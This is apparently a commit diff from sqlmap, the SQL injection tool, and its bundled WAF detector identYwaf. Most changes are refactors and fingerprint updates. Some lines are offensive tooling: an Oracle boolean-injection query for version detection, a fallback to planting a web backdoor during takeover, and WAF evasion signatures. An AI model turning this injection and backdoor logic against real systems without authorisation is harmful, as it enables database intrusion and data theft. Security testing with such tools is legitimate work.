if conf.exclude and db in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
+5 -3
View File
@@ -41,6 +41,8 @@ class Fingerprint(GenericFingerprint):
return None
# Reference: https://downloads.mysql.com/archives/community/
# Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
versions = (
(32200, 32235), # MySQL 3.22
(32300, 32359), # MySQL 3.23
@@ -50,10 +52,10 @@ class Fingerprint(GenericFingerprint):
(50100, 50174), # MySQL 5.1
(50400, 50404), # MySQL 5.4
(50500, 50562), # MySQL 5.5
(50600, 50646), # MySQL 5.6
(50700, 50726), # MySQL 5.7
(50600, 50648), # MySQL 5.6
(50700, 50730), # MySQL 5.7
(60000, 60014), # MySQL 6.0
(80000, 80017), # MySQL 8.0
(80000, 80021), # MySQL 8.0
)
index = -1
+5 -5
View File
@@ -15,7 +15,7 @@ import os
import re
from lib.core.common import getSafeExString
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -34,9 +34,9 @@ class Connector(GenericConnector):
def connect(self):
self.initConnection()
self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db)
self.__dsn = getBytes(self.__dsn)
self.user = getBytes(self.user)
self.password = getBytes(self.password)
self.__dsn = getText(self.__dsn)
self.user = getText(self.user)
self.password = getText(self.password)
try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA)
@@ -67,7 +67,7 @@ class Connector(GenericConnector):
retVal = False
try:
self.cursor.execute(getBytes(query))
self.cursor.execute(getText(query))
retVal = True
except cx_Oracle.DatabaseError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
+1 -1
View File
@@ -105,7 +105,7 @@ class Fingerprint(GenericFingerprint):
logger.info(infoMsg)
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in ("18c", "12c", "11g", "10g", "9i", "8i", "7"):
for version in ("19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
number = int(re.search(r"([\d]+)", version).group(1))
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
+1 -1
View File
@@ -32,7 +32,7 @@ class Filesystem(GenericFilesystem):
return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise SqlmapUnsupportedFeatureException(errMsg)
+2 -2
View File
@@ -13,7 +13,7 @@ except:
import logging
from lib.core.common import getSafeExString
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -75,7 +75,7 @@ class Connector(GenericConnector):
def execute(self, query):
try:
self.cursor.execute(getBytes(query))
self.cursor.execute(getText(query))
except self.__sqlite.OperationalError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
except self.__sqlite.DatabaseError as ex:
+2 -2
View File
@@ -14,7 +14,7 @@ except:
import logging
from lib.core.common import getSafeExString
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -58,7 +58,7 @@ class Connector(GenericConnector):
retVal = False
try:
self.cursor.execute(getBytes(query))
self.cursor.execute(getText(query))
retVal = True
except (pymssql.OperationalError, pymssql.ProgrammingError) as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " "))
+3 -1
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.common import filterPairValues
from lib.core.common import isListLike
from lib.core.common import isTechniqueAvailable
@@ -185,7 +187,7 @@ class Enumeration(GenericEnumeration):
colList = []
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
+3 -6
View File
@@ -61,16 +61,13 @@ class Custom(object):
return None
else:
if sqlType:
debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query)
else:
debugMsg = "executing unknown SQL type query: '%s'" % query
logger.debug(debugMsg)
infoMsg = "executing unknown SQL command: '%s'" % query
logger.info(infoMsg)
inject.goStacked(query)
debugMsg = "done"
logger.debug(debugMsg)
output = NULL
except SqlmapNoneDataException as ex:
+4 -2
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
@@ -332,7 +334,7 @@ class Databases(object):
logger.info(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
singleTimeLogMessage(infoMsg)
continue
@@ -466,7 +468,7 @@ class Databases(object):
colList = []
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
+9 -8
View File
@@ -25,6 +25,7 @@ from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.convert import getConsoleLength
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -77,7 +78,7 @@ class Entries(object):
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.exclude and conf.db in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
singleTimeLogMessage(infoMsg)
return
@@ -111,7 +112,7 @@ class Entries(object):
if kb.dumpKeyboardInterrupt:
break
if conf.exclude and tbl in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
singleTimeLogMessage(infoMsg)
continue
@@ -144,7 +145,7 @@ class Entries(object):
colList = sorted(column for column in columns if column)
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
if not colList:
warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
@@ -269,7 +270,7 @@ class Entries(object):
else:
colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
@@ -490,7 +491,7 @@ class Entries(object):
conf.db = db
for table in tables:
if conf.exclude and table in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, table, re.I) is not None:
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg)
continue
@@ -506,7 +507,7 @@ class Entries(object):
logger.info(infoMsg)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
message = "do you want to dump entries? [Y/n] "
message = "do you want to dump found column(s) entries? [Y/n] "
if not readInput(message, default='Y', boolean=True):
return
@@ -561,7 +562,7 @@ class Entries(object):
colList = [_ for _ in columns if _]
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
conf.col = ','.join(colList)
kb.data.cachedColumns = {}
@@ -573,7 +574,7 @@ class Entries(object):
conf.dumper.dbTableValues(data)
def dumpFoundTables(self, tables):
message = "do you want to dump tables' entries? [Y/n] "
message = "do you want to dump found table(s) entries? [Y/n] "
if not readInput(message, default='Y', boolean=True):
return
+1 -1
View File
@@ -137,7 +137,7 @@ class Miscellaneous(object):
self.delRemoteFile(self.webStagerFilePath)
self.delRemoteFile(self.webBackdoorFilePath)
if not isStackingAvailable() and not conf.direct:
if (not isStackingAvailable() or kb.udfFail) and not conf.direct:
return
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest:
+3 -1
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
@@ -376,7 +378,7 @@ class Search(object):
colList = conf.col.split(',')
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
origTbl = conf.tbl
origDb = conf.db
+3 -1
View File
@@ -7,8 +7,10 @@ See the file 'LICENSE' for copying permission
import re
from lib.core.common import Backend
from lib.core.convert import getBytes
from lib.core.data import conf
from lib.core.enums import DBMS
from lib.core.exception import SqlmapUndefinedMethod
class Syntax(object):
@@ -31,7 +33,7 @@ class Syntax(object):
if replacement != original:
retVal = retVal.replace(item, replacement)
elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal:
elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL):
retVal = retVal.replace("'%s'" % original, "n'%s'" % original)
else:
retVal = escaper(expression)
+18 -3
View File
@@ -9,11 +9,13 @@ import os
from lib.core.common import Backend
from lib.core.common import getSafeExString
from lib.core.common import isDigit
from lib.core.common import isStackingAvailable
from lib.core.common import openFile
from lib.core.common import readInput
from lib.core.common import runningAsAdmin
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import OS
@@ -78,7 +80,20 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
raise SqlmapNotVulnerableException(errMsg)
self.getRemoteTempPath()
self.initEnv(web=web)
try:
self.initEnv(web=web)
except SqlmapFilePathException:
if not web and not conf.direct:
infoMsg = "falling back to web backdoor method..."
logger.info(infoMsg)
web = True
kb.udfFail = True
self.initEnv(web=web)
else:
raise
if not web or (web and self.webBackdoorUrl is not None):
self.shell()
@@ -101,7 +116,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
while True:
tunnel = readInput(msg, default='1')
if tunnel.isdigit() and int(tunnel) in (1, 2):
if isDigit(tunnel) and int(tunnel) in (1, 2):
tunnel = int(tunnel)
break
@@ -172,7 +187,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
while True:
choice = readInput(msg, default='1')
if choice.isdigit() and int(choice) in (1, 2):
if isDigit(choice) and int(choice) in (1, 2):
choice = int(choice)
break
+2 -1
View File
@@ -600,7 +600,8 @@ class Users(object):
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
if privilege.strip() in FIREBIRD_PRIVS:
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
# In Informix we get one letter for the highest privilege
elif Backend.isDbms(DBMS.INFORMIX):
+13 -10
View File
@@ -2,16 +2,16 @@
# get target URLs from.
[Target]
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
url =
# Direct connection to the database.
# Examples:
# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
direct =
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
url =
# Parse targets from Burp or WebScarab logs
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
@@ -32,10 +32,6 @@ requestFile =
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
googleDork =
# Parse target(s) from remote sitemap(.xml) file.
# Example: http://192.168.1.121/sitemap.xml
sitemapUrl =
# These options can be used to specify how to connect to the target URL.
[Request]
@@ -822,17 +818,24 @@ listTampers = False
# Valid: True or False
offline = False
# Location of CSV results file in multiple targets mode.
resultsFile =
# Local directory for storing temporary files.
tmpDir =
# Simple wizard interface for beginner users.
# Adjust options for unstable connections.
# Valid: True or False
wizard = False
unstable = False
# Update sqlmap.
# Valid: True or False
updateAll = False
# Simple wizard interface for beginner users.
# Valid: True or False
wizard = False
# Verbosity level.
# Valid: integer between 0 and 6
# 0: Show only error and critical messages
+34 -2
View File
@@ -34,7 +34,10 @@ try:
import warnings
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning)
warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning)
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2")
from lib.core.data import logger
@@ -45,6 +48,7 @@ try:
from lib.core.common import dataToStdout
from lib.core.common import filterNone
from lib.core.common import getDaysFromLastUpdate
from lib.core.common import getFileItems
from lib.core.common import getSafeExString
from lib.core.common import maskSensitiveData
from lib.core.common import openFile
@@ -57,6 +61,7 @@ try:
from lib.core.common import MKSTEMP_PREFIX
from lib.core.common import setColor
from lib.core.common import unhandledExceptionMessage
from lib.core.compat import xrange
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapShellQuitException
from lib.core.exception import SqlmapSilentQuitException
@@ -73,6 +78,7 @@ try:
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VERSION
from lib.parse.cmdline import cmdLineParser
from lib.utils.crawler import crawl
from thirdparty import six
except KeyboardInterrupt:
errMsg = "user aborted"
@@ -135,7 +141,8 @@ def main():
banner()
# Store original command line options for possible later restoration
cmdLineOptions.update(cmdLineParser().__dict__)
args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
initOptions(cmdLineOptions)
if checkPipedInput():
@@ -177,7 +184,32 @@ def main():
profile()
else:
try:
start()
if conf.crawlDepth and conf.bulkFile:
targets = getFileItems(conf.bulkFile)
for i in xrange(len(targets)):
try:
kb.targets.clear()
target = targets[i]
if not re.search(r"(?i)\Ahttp[s]*://", target):
target = "http://%s" % target
infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets))
logger.info(infoMsg)
crawl(target)
except Exception as ex:
if not isinstance(ex, SqlmapUserQuitException):
errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg)
else:
raise
else:
if kb.targets:
start()
else:
start()
except Exception as ex:
os._exitcode = 1
+1 -1
View File
@@ -51,7 +51,7 @@ def tamper(payload, **kwargs):
for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
word = match.group()
if (word.upper() in kb.keywords and re.search(r"(?i)[`\"\[]%s[`\"\]]" % word, retVal) is None) or ("%s(" % word) in payload:
if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload:
while True:
_ = ""
+1 -1
View File
@@ -237,7 +237,7 @@ def unescape(data, entities, encoding=DEFAULT_ENCODING):
repl = entities.get(ent)
if repl is not None:
if type(repl) != type(""):
if type(repl) != type("") and encoding is not None:
try:
repl = repl.encode(encoding)
except UnicodeError:
+13 -2
View File
@@ -161,10 +161,11 @@
"barracuda": {
"company": "Barracuda Networks",
"name": "Barracuda",
"regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page",
"regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page|<!--(0123456789){15}",
"signatures": [
"2676:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RWg1qQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4VmkwI3FZjxtDtAeq6c36A4chS1XaTC",
"db27:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RWg1qQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC"
"db27:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RWg1qQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC",
"7e6b:RVdXum61OElCWapBYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chS1XaTC"
]
},
"bekchy": {
@@ -356,6 +357,16 @@
"regex": "The (ISA Server|server) denied the specified Uniform Resource Locator \\(URL\\)",
"signatures": []
},
"ithemes": {
"company": "iThemes",
"name": "iThemes Security",
"regex": "",
"signatures": [
"c70f:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC",
"71ee:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC"
],
"note": "Formerly Better WP Security"
},
"janusec": {
"company": "Janusec",
"name": "Janusec Application Gateway",
+5 -3
View File
@@ -27,7 +27,9 @@ import sys
import time
import zlib
if sys.version_info >= (3, 0):
PY3 = sys.version_info >= (3, 0)
if PY3:
import http.cookiejar
import http.client as httplib
import urllib.request
@@ -58,7 +60,7 @@ else:
HTTPCookieProcessor = urllib2.HTTPCookieProcessor
NAME = "identYwaf"
VERSION = "1.0.114"
VERSION = "1.0.122"
BANNER = r"""
` __ __ `
____ ___ ___ ____ ______ `| T T` __ __ ____ _____
@@ -356,7 +358,7 @@ def init():
os.chdir(os.path.abspath(os.path.dirname(__file__)))
# Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html
if IS_TTY:
if not PY3 and not IS_TTY:
sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout)
print(colorize("[o] initializing handlers..."))